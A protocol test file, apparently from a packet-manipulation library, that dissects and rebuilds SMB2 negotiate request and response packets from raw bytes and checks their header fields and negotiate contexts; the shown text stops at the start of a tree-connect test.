\x02\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x03\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x02\\x00\\x03\\x00\\x04\\x00\\x05\\x00\\x1c\\x00\\x00\\x00\\x00\\x00\\x31\\x00\\x39\\x00\\x32\\x00\\x2e\\x00\\x31\\x00\\x36\\x00\\x38\\x00\\x2e\\x00\\x31\\x00\\x37\\x00\\x38\\x00\\x2e\\x00\\x32\\x00\\x31\\x00'\npkt = IP(rawpkt)\n# Check layers\nassert TCP in pkt\nassert NBTSession in pkt\nassert pkt[NBTSession].LENGTH == 236\nassert SMB2_Header in pkt\nsmb2 = pkt[SMB2_Header]\n# Check header values\n\nassert smb2.Start == b'\\xfeSMB'\nassert smb2.StructureSize == 64\nassert smb2.CreditCharge == 1\nassert smb2.CreditRequest == 0\nassert smb2.Command == 0\nassert smb2.Flags == 0\nassert smb2.NextCommand == 0\nassert smb2.MID == 0\nassert smb2.SessionId == 0\nassert smb2.SecuritySignature == b'\\x00\\x11\"3DUfw\\x88\\x99\\xaa\\xbb\\xcc\\xdd\\xee\\xff'\n\n# KO test\nrawpkt = b'\\x45\\x00\\x01\\x18\\x16\\x2c\\x40\\x00\\x37\\x06\\xc4\\x14\\x91\\xdc\\x18\\x13\\xc0\\xa8\\xfe\\x07\\x9d\\x76\\x01\\xbd\\x37\\x06\\x5e\\x82\\xa3\\xca\\x83\\xd2\\x50\\x18\\x01\\xf6\\x11\\x5b\\x00\\x00\\x00\\x00\\x00\\xec\\xf0\\x53\\x4d\\x42\\x40\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88\\x99\\xaa\\xbb\\xcc\\xdd\\xee\\xff\\x24\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x7f\\x00\\x00\\x00\\x59\\x9e\\x84\\xf1\\x9d\\x61\\xce\\x99\\x1f\\x50\\x5c\\x04\\x44\\x74\\xb1\\x0a\\x70\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x10\\x02\\x00\\x03\\x02\\x03\\x11\\x03\\x00\\x00\\x00\\x00\\x01\\x00\\x26\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x20\\x00\\x01\\x00\\x75\\x06\\x05\\xed\\x60\\x88\\x9e\\xcb\\x5e\\x79\\xbb\\xe8\\x44\\x59\\xc5\\x5c\\xd2\\x82\\x51\\x06\\x32\\x7a\\x6e\\x2e\\x41\\xc5\\xa8\\x3f\\xdd\\xf2\\xc5\\x18\\x00\\x00\\x02\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x03\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x02\\x00\\x03\\x00\\x04\\x00\\x05\\x00\\x1c\\x00\\x00\\x00\\x00\\x00\\x31\\x00\\x39\\x00\\x32\\x00\\x2e\\x00\\x31\\x00\\x36\\x00\\x38\\x00\\x2e\\x00\\x31\\x00\\x37\\x00\\x38\\x00\\x2e\\x00\\x32\\x00\\x31\\x00'\npkt = IP(rawpkt)\n# Check layers\nassert TCP in pkt\nassert NBTSession in pkt\nassert pkt[NBTSession].LENGTH == 236\n# Should not have a proper SMB2 Header as magic is \\xf0SMB (not valid)\nassert SMB2_Header not in pkt\n\n# KO test with compression header\nrawpkt = b'\\x45\\x00\\x01\\x18\\x16\\x2c\\x40\\x00\\x37\\x06\\xc4\\x14\\x91\\xdc\\x18\\x13\\xc0\\xa8\\xfe\\x07\\x9d\\x76\\x01\\xbd\\x37\\x06\\x5e\\x82\\xa3\\xca\\x83\\xd2\\x50\\x18\\x01\\xf6\\x11\\x5b\\x00\\x00\\x00\\x00\\x00\\xec\\xfc\\x53\\x4d\\x42\\x40\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88\\x99\\xaa\\xbb\\xcc\\xdd\\xee\\xff\\x24\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x7f\\x00\\x00\\x00\\x59\\x9e\\x84\\xf1\\x9d\\x61\\xce\\x99\\x1f\\x50\\x5c\\x04\\x44\\x74\\xb1\\x0a\\x70\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x10\\x02\\x00\\x03\\x02\\x03\\x11\\x03\\x00\\x00\\x00\\x00\\x01\\x00\\x26\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x20\\x00\\x01\\x00\\x75\\x06\\x05\\xed\\x60\\x88\\x9e\\xcb\\x5e\\x79\\xbb\\xe8\\x44\\x59\\xc5\\x5c\\xd2\\x82\\x51\\x06\\x32\\x7a\\x6e\\x2e\\x41\\xc5\\xa8\\x3f\\xdd\\xf2\\xc5\\x18\\x00\\x00\\x02\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x03\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x02\\x00\\x03\\x00\\x04\\x00\\x05\\x00\\x1c\\x00\\x00\\x00\\x00\\x00\\x31\\x00\\x39\\x00\\x32\\x00\\x2e\\x00\\x31\\x00\\x36\\x00\\x38\\x00\\x2e\\x00\\x31\\x00\\x37\\x00\\x38\\x00\\x2e\\x00\\x32\\x00\\x31\\x00'\npkt = IP(rawpkt)\n# Check layers\nassert TCP in pkt\nassert NBTSession in pkt\nassert pkt[NBTSession].LENGTH == 236\n# Should not have a proper SMB2 Header as magic is \\xfcSMB (compressed version)\nassert SMB2_Header not in pkt\n\n\n= SMB2 Header assembling\n\npkt = IP() / TCP() / NBTSession() / SMB2_Header()\nassert pkt[NBTSession].TYPE == 0x00         # session message\nsmb2 = pkt[SMB2_Header]\nassert smb2.Start == b'\\xfeSMB'\n\n+ SMB2 Negotiate Protocol Request Header dissecting\n\n= Common fields in header\n\n# OK test\nrawpkt = b'\\x45\\x00\\x01\\x18\\x16\\x2c\\x40\\x00\\x37\\x06\\xc4\\x14\\x91\\xdc\\x18\\x13\\xc0\\xa8\\xfe\\x07\\x9d\\x76\\x01\\xbd\\x37\\x06\\x5e\\x82\\xa3\\xca\\x83\\xd2\\x50\\x18\\x01\\xf6\\x11\\x5b\\x00\\x00\\x00\\x00\\x00\\xec\\xfe\\x53\\x4d\\x42\\x40\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88\\x99\\xaa\\xbb\\xcc\\xdd\\xee\\xff\\x24\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x7f\\x00\\x00\\x00\\x59\\x9e\\x84\\xf1\\x9d\\x61\\xce\\x99\\x1f\\x50\\x5c\\x04\\x44\\x74\\xb1\\x0a\\x70\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x10\\x02\\x00\\x03\\x02\\x03\\x11\\x03\\x00\\x00\\x00\\x00\\x01\\x00\\x26\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x20\\x00\\x01\\x00\\x75\\x06\\x05\\xed\\x60\\x88\\x9e\\xcb\\x5e\\x79\\xbb\\xe8\\x44\\x59\\xc5\\x5c\\xd2\\x82\\x51\\x06\\x32\\x7a\\x6e\\x2e\\x41\\xc5\\xa8\\x3f\\xdd\\xf2\\xc5\\x18\\x00\\x00\\x02\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x03\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x02\\x00\\x03\\x00\\x04\\x00\\x05\\x00\\x1c\\x00\\x00\\x00\\x00\\x00\\x31\\x00\\x39\\x00\\x32\\x00\\x2e\\x00\\x31\\x00\\x36\\x00\\x38\\x00\\x2e\\x00\\x31\\x00\\x37\\x00\\x38\\x00\\x2e\\x00\\x32\\x00\\x31\\x00'\npkt = IP(rawpkt)\n# Check layers\nassert TCP in pkt\nassert NBTSession in pkt\nassert pkt[NBTSession].LENGTH == 236\nassert SMB2_Header in pkt\nassert SMB2_Negotiate_Protocol_Request in pkt\nnego_req = pkt[SMB2_Negotiate_Protocol_Request]\n# Check field values\nassert nego_req.StructureSize == 0x24\nassert nego_req.DialectCount == 4\nassert nego_req.SecurityMode == 0\nassert nego_req.Capabilities == 0x7f\nassert str(nego_req.ClientGUID) == 'f1849e59-619d-99ce-1f50-5c044474b10a'\nassert nego_req.NegotiateContextsBufferOffset == 0x70\nassert nego_req.NegotiateContextsCount == 4\nfor dialect in nego_req.Dialects:\n    assert dialect in SMB_DIALECTS.keys()\n\n# Check SMB 2.1\nassert 0x210 in nego_req.Dialects\n# Check SMB 3.0\nassert 0x300 in nego_req.Dialects\n# Check SMB 3.0.2\nassert 0x302 in nego_req.Dialects\n# Check SMB 3.1.1\nassert 0x311 in nego_req.Dialects\nassert len(nego_req.NegotiateContexts) == nego_req.NegotiateContextsCount\n\n= SMB2 Negotiate Context in Request - type PREAUTH - disassemble\n\npreauth = nego_req.NegotiateContexts[0]\nassert preauth.ContextType == 0x1\nassert preauth.DataLength == 38\nassert preauth.HashAlgorithmCount == 1\nassert preauth.SaltLength == 32\nassert preauth.Salt == b'\\x75\\x06\\x05\\xed\\x60\\x88\\x9e\\xcb\\x5e\\x79\\xbb\\xe8\\x44\\x59\\xc5\\x5c\\xd2\\x82\\x51\\x06\\x32\\x7a\\x6e\\x2e\\x41\\xc5\\xa8\\x3f\\xdd\\xf2\\xc5\\x18'\nassert len(preauth.HashAlgorithms) == 1\nassert preauth.HashAlgorithms[0] == 0x1\n\n= SMB2 Negotiate Context in Request - type ENCRYPTION disassemble\n\nenc = nego_req.NegotiateContexts[1]\nassert enc.ContextType == 0x2\nassert enc.DataLength == 6\nassert enc.CipherCount == 2\nassert len(enc.Ciphers) == 2\nassert enc.Ciphers[0] == 1\nassert enc.Ciphers[1] == 2\n\n\n= SMB2 Negotiate Context in Request - type COMPRESSION\n\ncomp = nego_req.NegotiateContexts[2]\nassert comp.ContextType == 0x3\nassert comp.DataLength == 16\nassert comp.CompressionAlgorithmCount == 4\nassert len(comp.CompressionAlgorithms) == 4\nassert comp.CompressionAlgorithms[0] == 1\nassert comp.CompressionAlgorithms[1] == 2\nassert comp.CompressionAlgorithms[2] == 3\nassert comp.CompressionAlgorithms[3] == 4\n\n\n= SMB2 Negotiate Context in Request - type NETNAME NEGOCIATE\n\nnetname = nego_req.NegotiateContexts[3]\nassert netname.ContextType == 0x5\nassert netname.DataLength == 28\nassert netname.NetName == '192.168.178.21'\n\n= test SMB2 Negotiate Protocol Request Header - assembling\n\npkt = IP() / TCP() / NBTSession() / SMB2_Header() / SMB2_Negotiate_Protocol_Request()\npkt = IP(raw(pkt))\nassert SMB2_Negotiate_Protocol_Request in pkt\n\n= Request with no 0x0311 in dialects\n\npreauth = SMB2_Preauth_Integrity_Capabilities()\npreauth_context = SMB2_Negotiate_Context(ContextType = 1, DataLength = len(preauth)) / preauth\n\npkt = SMB2_Negotiate_Protocol_Request(Dialects=[0x0202], NegotiateContexts=[preauth_context])\npkt = pkt.__class__(raw(pkt)).NegotiateContexts[0]\nassert SMB2_Preauth_Integrity_Capabilities in pkt\n\n+ SMB2 Negotiate Protocol Response Header dissecting\n\n= Common fields in header\n\nrawpkt = b'\\x45\\x00\\x02\\x3e\\x84\\xa6\\x40\\x00\\x80\\x06\\x0b\\x74\\xc0\\xa8\\xfe\\x07\\x91\\xdc\\x18\\x13\\x01\\xbd\\x9d\\x76\\xa3\\xca\\x83\\xd2\\x37\\x06\\x5f\\x72\\x50\\x18\\x04\\x01\\xe3\\x14\\x00\\x00\\x00\\x00\\x02\\x12\\xfe\\x53\\x4d\\x42\\x40\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x41\\x00\\x01\\x00\\x11\\x03\\x03\\x00\\x53\\x6d\\xdd\\x1c\\x30\\x1f\\x44\\x42\\xa5\\xc8\\x88\\x73\\x7a\\x68\\x05\\xe1\\x2f\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x80\\x00\\xe9\\xbe\\x9e\\x6c\\xa4\\xf8\\xd5\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x40\\x01\\xc0\\x01\\x00\\x00\\x60\\x82\\x01\\x3c\\x06\\x06\\x2b\\x06\\x01\\x05\\x05\\x02\\xa0\\x82\\x01\\x30\\x30\\x82\\x01\\x2c\\xa0\\x1a\\x30\\x18\\x06\\x0a\\x2b\\x06\\x01\\x04\\x01\\x82\\x37\\x02\\x02\\x1e\\x06\\x0a\\x2b\\x06\\x01\\x04\\x01\\x82\\x37\\x02\\x02\\x0a\\xa2\\x82\\x01\\x0c\\x04\\x82\\x01\\x08\\x4e\\x45\\x47\\x4f\\x45\\x58\\x54\\x53\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x60\\x00\\x00\\x00\\x70\\x00\\x00\\x00\\x11\\x70\\xff\\xd0\\xfa\\xf1\\x4f\\xa2\\x6f\\x40\\x5c\\x94\\x55\\x68\\x53\\xcf\\xa1\\x77\\x02\\x7a\\x32\\xa9\\x62\\x78\\x0a\\x21\\xfb\\x9e\\x2c\\x5e\\xe9\\x78\\xeb\\xab\\xee\\x91\\xfd\\xfc\\xda\\x0f\\xc5\\x91\\x03\\x6e\\xf8\\xfd\\x4c\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x60\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5c\\x33\\x53\\x0d\\xea\\xf9\\x0d\\x4d\\xb2\\xec\\x4a\\xe3\\x78\\x6e\\xc3\\x08\\x4e\\x45\\x47\\x4f\\x45\\x58\\x54\\x53\\x03\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x98\\x00\\x00\\x00\\x11\\x70\\xff\\xd0\\xfa\\xf1\\x4f\\xa2\\x6f\\x40\\x5c\\x94\\x55\\x68\\x53\\xcf\\x5c\\x33\\x53\\x0d\\xea\\xf9\\x0d\\x4d\\xb2\\xec\\x4a\\xe3\\x78\\x6e\\xc3\\x08\\x40\\x00\\x00\\x00\\x58\\x00\\x00\\x00\\x30\\x56\\xa0\\x54\\x30\\x52\\x30\\x27\\x80\\x25\\x30\\x23\\x31\\x21\\x30\\x1f\\x06\\x03\\x55\\x04\\x03\\x13\\x18\\x54\\x6f\\x6b\\x65\\x6e\\x20\\x53\\x69\\x67\\x6e\\x69\\x6e\\x67\\x20\\x50\\x75\\x62\\x6c\\x69\\x63\\x20\\x4b\\x65\\x79\\x30\\x27\\x80\\x25\\x30\\x23\\x31\\x21\\x30\\x1f\\x06\\x03\\x55\\x04\\x03\\x13\\x18\\x54\\x6f\\x6b\\x65\\x6e\\x20\\x53\\x69\\x67\\x6e\\x69\\x6e\\x67\\x20\\x50\\x75\\x62\\x6c\\x69\\x63\\x20\\x4b\\x65\\x79\\x01\\x00\\x26\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x20\\x00\\x01\\x00\\x09\\x33\\xe9\\xe8\\xcb\\xf4\\x8a\\x5c\\x61\\x4d\\x38\\x42\\xa1\\x53\\x41\\x18\\x1b\\xeb\\x99\\x78\\x0b\\x19\\x6f\\x5c\\xef\\xdd\\x02\\x51\\x07\\x3b\\xc6\\xcc\\x00\\x00\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x0a\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00'\npkt = IP(rawpkt)\n# Check layers\nassert TCP in pkt\nassert NBTSession in pkt\nassert pkt[NBTSession].LENGTH == 530\nassert SMB2_Header in pkt\nassert SMB2_Negotiate_Protocol_Response in pkt\nnego_resp = pkt[SMB2_Negotiate_Protocol_Response]\n# check field values\n\nassert nego_resp.StructureSize == 0x41\nassert str(nego_resp.SecurityMode) == 'SIGNING_ENABLED'\nassert nego_resp.DialectRevision == 0x0311\nassert nego_resp.NegotiateContextsCount == 0x3\nassert str(nego_resp.GUID) == '1cdd6d53-1f30-4244-a5c8-88737a6805e1'\nassert nego_resp.Capabilities == 0x2f\nassert nego_resp.MaxTransactionSize == 0x00800000\nassert nego_resp.MaxReadSize == 0x00800000\nassert nego_resp.MaxWriteSize == 0x00800000\nassert nego_resp.SecurityBlobBufferOffset == 0x00000080\nassert nego_resp.SecurityBlobLen == 320\nassert nego_resp.NegotiateContextsBufferOffset == 0x1c0\nassert bytes(nego_resp.SecurityBlob.innerToken.token.mechToken.value) == b\"NEGOEXTS\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00`\\x00\\x00\\x00p\\x00\\x00\\x00\\x11p\\xff\\xd0\\xfa\\xf1O\\xa2o@\\\\\\x94UhS\\xcf\\xa1w\\x02z2\\xa9bx\\n!\\xfb\\x9e,^\\xe9x\\xeb\\xab\\xee\\x91\\xfd\\xfc\\xda\\x0f\\xc5\\x91\\x03n\\xf8\\xfdL\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00`\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\\3S\\r\\xea\\xf9\\rM\\xb2\\xecJ\\xe3xn\\xc3\\x08NEGOEXTS\\x03\\x00\\x00\\x00\\x01\\x00\\x00\\x00@\\x00\\x00\\x00\\x98\\x00\\x00\\x00\\x11p\\xff\\xd0\\xfa\\xf1O\\xa2o@\\\\\\x94UhS\\xcf\\\\3S\\r\\xea\\xf9\\rM\\xb2\\xecJ\\xe3xn\\xc3\\x08@\\x00\\x00\\x00X\\x00\\x00\\x000V\\xa0T0R0'\\x80%0#1!0\\x1f\\x06\\x03U\\x04\\x03\\x13\\x18Token Signing Public Key0'\\x80%0#1!0\\x1f\\x06\\x03U\\x04\\x03\\x13\\x18Token Signing Public Key\"\nassert len(nego_resp.NegotiateContexts) == 3\n\n= SMB2 Negotiate Context in Response - Type PREAUTH\n\npreauth = nego_resp.NegotiateContexts[0]\nassert preauth.ContextType == 0x0001\nassert preauth.DataLength == 38\nassert preauth.HashAlgorithmCount == 1\nassert preauth.SaltLength == 32\nassert preauth.Salt == b\"\\x09\\x33\\xe9\\xe8\\xcb\\xf4\\x8a\\x5c\\x61\\x4d\\x38\\x42\\xa1\\x53\\x41\\x18\\x1b\\xeb\\x99\\x78\\x0b\\x19\\x6f\\x5c\\xef\\xdd\\x02\\x51\\x07\\x3b\\xc6\\xcc\"\nassert len(preauth.HashAlgorithms) == 1\nassert preauth.HashAlgorithms[0] == 0x1\n\n= SMB2 Negotiate Context in Response - Type ENCRYPTION\n\nenc = nego_resp.NegotiateContexts[1]\nassert enc.ContextType == 0x0002\nassert enc.DataLength == 4\nassert enc.CipherCount == 1\nassert len(enc.Ciphers) == 1\nassert enc.Ciphers[0] == 1\n\n= SMB2 Negotiate Context in Response - Type COMPRESSION\n\ncomp = nego_resp.NegotiateContexts[2]\nassert comp.ContextType == 0x0003\nassert comp.DataLength  == 10\nassert comp.CompressionAlgorithmCount == 1\nassert len(comp.CompressionAlgorithms) == 1\nassert comp.CompressionAlgorithms[0] == 1\n\n= SMB2 Negotiate Protocol Response Header assembling\n\npkt = IP() / TCP() / NBTSession() / SMB2_Header() / SMB2_Negotiate_Protocol_Response()\npkt = IP(raw(pkt))\nassert SMB2_Negotiate_Protocol_Response in pkt\n\n+ SMB2 Negotiate Protocol Request Header with 1 dialect\n\n= Common fields in header\n\n# OK test\nrawpkt = b'\\x45\\x00\\x01\\x10\\x16\\x2c\\x40\\x00\\x37\\x06\\xc4\\x14\\x91\\xdc\\x18\\x13\\xc0\\xa8\\xfe\\x07\\x9d\\x76\\x01\\xbd\\x37\\x06\\x5e\\x82\\xa3\\xca\\x83\\xd2\\x50\\x18\\x01\\xf6\\x11\\x5b\\x00\\x00\\x00\\x00\\x00\\xe4\\xfe\\x53\\x4d\\x42\\x40\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88\\x99\\xaa\\xbb\\xcc\\xdd\\xee\\xff\\x24\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x7f\\x00\\x00\\x00\\x59\\x9e\\x84\\xf1\\x9d\\x61\\xce\\x99\\x1f\\x50\\x5c\\x04\\x44\\x74\\xb1\\x0a\\x68\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x11\\x03\\x00\\x00\\x01\\x00\\x26\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x20\\x00\\x01\\x00\\x75\\x06\\x05\\xed\\x60\\x88\\x9e\\xcb\\x5e\\x79\\xbb\\xe8\\x44\\x59\\xc5\\x5c\\xd2\\x82\\x51\\x06\\x32\\x7a\\x6e\\x2e\\x41\\xc5\\xa8\\x3f\\xdd\\xf2\\xc5\\x18\\x00\\x00\\x02\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x03\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x02\\x00\\x03\\x00\\x04\\x00\\x05\\x00\\x1c\\x00\\x00\\x00\\x00\\x00\\x31\\x00\\x39\\x00\\x32\\x00\\x2e\\x00\\x31\\x00\\x36\\x00\\x38\\x00\\x2e\\x00\\x31\\x00\\x37\\x00\\x38\\x00\\x2e\\x00\\x32\\x00\\x31\\x00'\npkt = IP(rawpkt)\n# Check layers\nassert TCP in pkt\nassert NBTSession in pkt\nassert pkt[NBTSession].LENGTH == 228\nassert SMB2_Header in pkt\nassert SMB2_Negotiate_Protocol_Request in pkt\nnego_req = pkt[SMB2_Negotiate_Protocol_Request]\n# Check field values\nassert nego_req.StructureSize == 0x24\nassert nego_req.DialectCount == 1\nassert nego_req.SecurityMode == 0\nassert nego_req.Capabilities == 0x7f\nassert str(nego_req.ClientGUID) == 'f1849e59-619d-99ce-1f50-5c044474b10a'\nassert nego_req.NegotiateContextsBufferOffset == 0x68\nassert nego_req.NegotiateContextsCount == 4\nfor dialect in nego_req.Dialects:\n    assert dialect in SMB_DIALECTS.keys()\n\n# Check SMB 3.1.1\nassert 0x311 in nego_req.Dialects\nassert len(nego_req.NegotiateContexts) == nego_req.NegotiateContextsCount\n\n= SMB2 Negotiate Context in Request - type PREAUTH - disassemble\n\npreauth = nego_req.NegotiateContexts[0]\nassert preauth.ContextType == 0x1\nassert preauth.DataLength == 38\nassert preauth.HashAlgorithmCount == 1\nassert preauth.SaltLength == 32\nassert preauth.Salt == b'\\x75\\x06\\x05\\xed\\x60\\x88\\x9e\\xcb\\x5e\\x79\\xbb\\xe8\\x44\\x59\\xc5\\x5c\\xd2\\x82\\x51\\x06\\x32\\x7a\\x6e\\x2e\\x41\\xc5\\xa8\\x3f\\xdd\\xf2\\xc5\\x18'\nassert len(preauth.HashAlgorithms) == 1\nassert preauth.HashAlgorithms[0] == 0x1\n\n= SMB2 Negotiate Context in Request - type ENCRYPTION disassemble\n\nenc = nego_req.NegotiateContexts[1]\nassert enc.ContextType == 0x2\nassert enc.DataLength == 6\nassert enc.CipherCount == 2\nassert len(enc.Ciphers) == 2\nassert enc.Ciphers[0] == 1\nassert enc.Ciphers[1] == 2\n\n\n= SMB2 Negotiate Context in Request - type COMPRESSION\n\ncomp = nego_req.NegotiateContexts[2]\nassert comp.ContextType == 0x3\nassert comp.DataLength == 16\nassert comp.CompressionAlgorithmCount == 4\nassert len(comp.CompressionAlgorithms) == 4\nassert comp.CompressionAlgorithms[0] == 1\nassert comp.CompressionAlgorithms[1] == 2\nassert comp.CompressionAlgorithms[2] == 3\nassert comp.CompressionAlgorithms[3] == 4\n\n\n= SMB2 Negotiate Context in Request - type NETNAME NEGOCIATE\n\nnetname = nego_req.NegotiateContexts[3]\nassert netname.ContextType == 0x5\nassert netname.DataLength == 28\nassert netname.NetName == '192.168.178.21'\n\n+ SMB2 Negotiate Protocol Request Header default values\n\n= Default DialectCount\n\npkt = SMB2_Negotiate_Protocol_Request()\nassert len(pkt.Dialects) == pkt.__class__(raw(pkt)).DialectCount\n\n= Default NegotiateContextsCount\n\npreauth = SMB2_Preauth_Integrity_Capabilities()\npreauth_context = SMB2_Negotiate_Context(ContextType = 1, DataLength = len(preauth)) / preauth\n\npkt = SMB2_Negotiate_Protocol_Request(Dialects=[0x0311], NegotiateContexts=[preauth_context], NegotiateContextsBufferOffset=0x68)\nassert len(pkt.NegotiateContexts) == pkt.__class__(raw(pkt)).NegotiateContextsCount\n\n+ Negotiate Request without manual padding of Negotiate Contexts\n\n= SMB2 Negotiate Context in Request - type PREAUTH - disassemble\n\npreauth = SMB2_Preauth_Integrity_Capabilities()\npreauth_context = SMB2_Negotiate_Context(ContextType = 1, DataLength = len(preauth)) / preauth\n\nenc = SMB2_Encryption_Capabilities()\nenc_context = SMB2_Negotiate_Context(ContextType = 2, DataLength = len(enc)) / enc\n\ncomp = SMB2_Compression_Capabilities()\ncomp_context = SMB2_Negotiate_Context(ContextType = 3, DataLength = len(comp)) / comp\n\nnetname_context = SMB2_Negotiate_Context(b'\\x05\\x00\\x1c\\x00\\x00\\x00\\x00\\x001\\x009\\x002\\x00.\\x001\\x006\\x008\\x00.\\x001\\x007\\x008\\x00.\\x002\\x001\\x00')\n\npkt = SMB2_Header() / SMB2_Negotiate_Protocol_Request(Dialects=[0x0311], NegotiateContexts=[preauth_context, enc_context, comp_context, netname_context], NegotiateContextsBufferOffset=0x68)\n\npkt = SMB2_Header(raw(pkt))\n\nnego_req = pkt[SMB2_Negotiate_Protocol_Request]\n\npreauth_dissected = nego_req.NegotiateContexts[0]\nassert preauth_dissected.ContextType == preauth_context.ContextType\nassert preauth_dissected.DataLength == preauth_context.DataLength\nassert preauth_dissected.HashAlgorithmCount == 1\nassert preauth_dissected.SaltLength == 0\nassert len(preauth_dissected.HashAlgorithms) == len(preauth_context.HashAlgorithms)\nassert preauth_dissected.HashAlgorithms[0] == preauth_context.HashAlgorithms[0]\n\n= SMB2 Negotiate Context in Request - type ENCRYPTION disassemble\n\nenc_dissected = nego_req.NegotiateContexts[1]\nassert enc_dissected.ContextType == enc_context.ContextType\nassert enc_dissected.DataLength == enc_context.DataLength\nassert enc_dissected.CipherCount == 1\nassert len(enc_dissected.Ciphers) == len(enc_context.Ciphers)\nassert enc_dissected.Ciphers[0] == enc_context.Ciphers[0]\n\n= SMB2 Negotiate Context in Request - type COMPRESSION\n\ncomp_dissected = nego_req.NegotiateContexts[2]\nassert comp_dissected.ContextType == comp_context.ContextType\nassert comp_dissected.DataLength == 8\nassert comp_dissected.CompressionAlgorithmCount == 0\nassert len(comp_dissected.CompressionAlgorithms) == len(comp_context.CompressionAlgorithms)\n\n= SMB2 Negotiate Context in Request - type NETNAME NEGOCIATE\n\nnetname_dissected = nego_req.NegotiateContexts[3]\nassert netname_dissected.ContextType == netname_context.ContextType\nassert netname_dissected.DataLength == netname_context.DataLength\nassert netname_dissected.NetName == netname_context.NetName\n\n+ SMB 2 Tree connect exchange\n\n= SMB2 Tree connect request\n\n# this is a rare one, and is kindof a nightmare to setup. figure it out alexander\n\ntree_con = 